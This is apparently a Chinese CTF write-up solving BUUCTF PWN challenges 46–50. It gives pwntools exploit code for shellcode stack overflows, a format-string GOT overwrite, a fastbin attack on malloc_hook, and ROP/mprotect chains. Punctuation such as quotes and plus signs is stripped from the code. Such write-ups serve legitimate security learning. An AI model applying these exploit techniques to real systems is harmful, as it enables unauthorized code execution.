BUUCTF PWN题解:栈溢出与格式化字符串漏洞实战

发布时间:2026/11/4 14:32:17

BUUCTF PWN题解:栈溢出与格式化字符串漏洞实战 1. 解题思路与工具准备最近在BUUCTF平台上刷了几道PWN题46-50题发现这几道题虽然难度不算太高但涉及的知识点比较全面。作为二进制安全方向的练习者我觉得有必要把解题过程记录下来既是对自己思路的梳理也能给刚入门PWN的同学一些参考。这几道题主要考察了栈溢出、格式化字符串漏洞、堆利用等常见漏洞类型。解题环境我使用的是Ubuntu 20.04配合pwntools、gdb-peda、checksec等工具链。建议在开始前先确保这些工具都已安装配置好sudo apt-get update sudo apt-get install -y python3 python3-pip git gdb pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit2. 题目46基础栈溢出2.1 题目分析首先用checksec检查保护机制checksec ./pwn46 [*] /home/user/pwn46 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments可以看到这是一个32位程序没有任何保护机制没有栈保护、NX禁用、没有地址随机化。用IDA打开分析发现main函数中存在明显的栈溢出漏洞char buf[16]; read(0, buf, 0x100);2.2 利用思路由于没有NX保护我们可以直接在栈上布置shellcode。解题步骤如下确定偏移量通过gdb调试发现从buf到返回地址的偏移是28字节构造payload填充28字节垃圾数据 shellcode地址由于ASLR关闭栈地址固定可以直接硬编码shellcode地址2.3 完整exp代码from pwn import * context(archi386, oslinux) p process(./pwn46) shellcode asm(shellcraft.sh()) payload bA*28 p32(0xffffd580) shellcode p.sendline(payload) p.interactive()注意实际解题时需要根据调试确定shellcode的具体地址这里0xffffd580只是示例3. 题目47格式化字符串漏洞3.1 漏洞分析这道题的保护机制如下Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)程序中有明显的格式化字符串漏洞char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf);3.2 利用思路虽然开启了栈保护但我们可以利用格式化字符串漏洞泄露libc地址计算system地址覆盖GOT表中的printf为system下次调用printf(/bin/sh)时实际执行system(/bin/sh)3.3 关键步骤首先确定格式化字符串的偏移p.sendline(bAAAAb%p.*10)通过输出可以确定AAAA在栈上的位置比如第7个参数泄露libc地址payload p32(printf_got) b%7$s p.sendline(payload) printf_addr u32(p.recv(4))计算system地址并覆盖GOTsystem_addr printf_addr - (libc.symbols[printf] - libc.symbols[system]) payload fmtstr_payload(7, {printf_got: system_addr}) p.sendline(payload)4. 题目48堆利用之fastbin attack4.1 程序分析保护机制Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)程序实现了简单的堆菜单malloc(0x60)free编辑堆内容4.2 漏洞利用存在UAF漏洞free后没有清空指针。利用步骤分配两个chunkA和B释放A和B它们会进入fastbin通过编辑A的fd指针指向目标地址如malloc_hook附近两次malloc后第三次就能分配到目标地址写入one_gadget到malloc_hook4.3 关键代码# 分配两个chunk malloc(0, bAAAA) malloc(1, bBBBB) # 释放形成fastbin链表 free(0) free(1) # 修改fd指针 edit(0, p64(malloc_hook - 0x23)) # 重新分配 malloc(2, bCCCC) malloc(3, bDDDD) # 现在可以分配到malloc_hook附近 malloc(4, bA*0x13 p64(one_gadget))5. 题目49ROP链构造5.1 保护机制Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)5.2 解题思路程序存在栈溢出但NX开启无法执行shellcode。需要构造ROP链泄露libc地址返回到main函数再次触发溢出第二次构造system(/bin/sh)的ROP链5.3 ROP链构造第一次泄露地址pop_rdi 0x400703 puts_plt 0x4004e0 puts_got 0x601018 main 0x400637 payload bA*40 p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main)第二次getshelllibc.address puts_addr - libc.symbols[puts] system libc.symbols[system] binsh next(libc.search(b/bin/sh)) payload bA*40 p64(pop_rdi) p64(binsh) p64(system)6. 题目50综合利用6.1 题目特点这道题结合了多种技术栈溢出格式化字符串ROP堆利用6.2 解题步骤通过格式化字符串泄露栈地址和libc地址利用栈溢出构造ROP链调用mprotect将栈区域设置为可执行写入shellcode并跳转执行6.3 关键代码# 泄露栈地址 p.sendline(b%p.*20) stack_leak int(p.recvuntil(., dropTrue).split(b.)[5], 16) # 构造mprotect ROP链 mprotect libc.symbols[mprotect] payload bA*offset payload p64(pop_rdi) p64(stack_leak ~0xfff) payload p64(pop_rsi) p64(0x1000) payload p64(pop_rdx) p64(7) payload p64(mprotect) payload p64(stack_leak 0x100) payload shellcode7. 常见问题与调试技巧7.1 gdb调试技巧在关键函数下断点b *main b *vuln_func查看内存x/20wx $esp x/10gx $rsp查看堆状态heap bins heap chunks7.2 常见错误偏移计算错误一定要通过gdb确认偏移量地址对齐问题64位系统要注意栈对齐payload长度要是8的倍数one_gadget条件不满足多尝试几个one_gadget或构造ROP链设置寄存器7.3 实用命令查找gadgetROPgadget --binary ./pwn50查找字符串rabin2 -z ./pwn50快速测试expwhile true; do python3 exp.py; done
延伸阅读

更多相关文章

2026/11/4 14:32:17

React渲染模式演进与性能优化实战

1. React渲染模式的演进背景2013年React的横空出世,彻底改变了前端开发的范式。最初作为Facebook内部解决动态数据更新问题的解决方案,React凭借虚拟DOM和组件化思想迅速成为构建单页应用(SPA)的首选框架。但传统SPA存在三个致命短板:首屏性能…

2026/11/4 14:27:16

Tomcat 404错误排查与解决方案大全

1. Tomcat报404问题概述 作为一名Java后端开发工程师,我经常遇到新手同事在启动Tomcat时遇到404错误的问题。Tomcat作为最流行的Java Web应用服务器之一,其404错误可能由多种原因导致,有些情况甚至Tomcat本身运行正常(控制台无报错…

2026/11/4 14:27:16

C语言猜数字源码解析:从基础语法到工程实践

简介:这份资源是面向C语言初学者的猜数字游戏源程序合集,适合刚接触编程、希望通过小项目巩固输入输出、随机数生成与条件判断等核心语法的学习者。压缩包内共2个文件,均为cpp源代码,整体约3KB,体积轻巧,便…

2026/11/4 15:27:45

EtherCAT工业以太网新标杆:从原理到24轴伺服运动控制实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/4 15:27:45

Xvisor中断虚拟化核心拆解:HCR注入与VGIC硬件辅助

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/4 15:27:45

多端智慧屏接入项目复盘:MQTT+HTTP协议层踩坑实录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/4 15:27:45

RISC-V机密计算全链路:从PMP物理内存保护到CoVE机密虚机

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/4 15:27:45

浏览器即开即用!20+款ESP32在线开发工具从模拟到烧录全指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/4 15:22:41

hindsight 深度解析:LLM Agent 记忆机制与 Docker 部署实战

1. 从“hindsight”这个词说起:为什么它值得单独拿出来聊 第一次看到“hindsight”作为项目名,我脑子里蹦出来的不是技术,而是一句老话——事后诸葛亮。但恰恰是这个略带自嘲的词,精准戳中了当前 LLM Agent 领域最要命的一个短板&…

2026/11/4 12:38:23

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/3 14:24:53

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/4 0:03:20

AI辅助技术栈评估:提升研发决策效率60%

1. 项目背景与核心价值技术决策一直是研发团队面临的重大挑战。随着技术生态的快速演进,技术栈的选择、维护和迭代变得愈发复杂。我们团队在过去两年里,先后经历了三次重大技术栈迁移,每次都需要投入大量人力进行技术评估和风险分析。直到去年…

2026/11/4 0:03:20

从生成Token到直接决策:Jev如何重塑AI Agent工程实践

1. 从"生成文字"到"拍板决策":Jev 到底在解决什么问题大多数人第一次接触大模型,脑子里建立的模型是"输入问题、输出文字"。你问它今天天气怎么样,它给你一段描述;你让它写个周报,它给你…

2026/11/4 0:03:20

32G统一内存跑大模型:内存账、TPS实测与端云分流

想在一台 32G 统一内存的小主机上把大模型跑成"日常可用",这件事我前后折腾了小半年。标题里说的这台 Mac mini M6,是我们这次讨论的目标平台,具体到手规格以实物为准;但下面这套推算方法和实测思路,对任何统…

2026/11/4 12:38:23

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/3 14:24:53

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑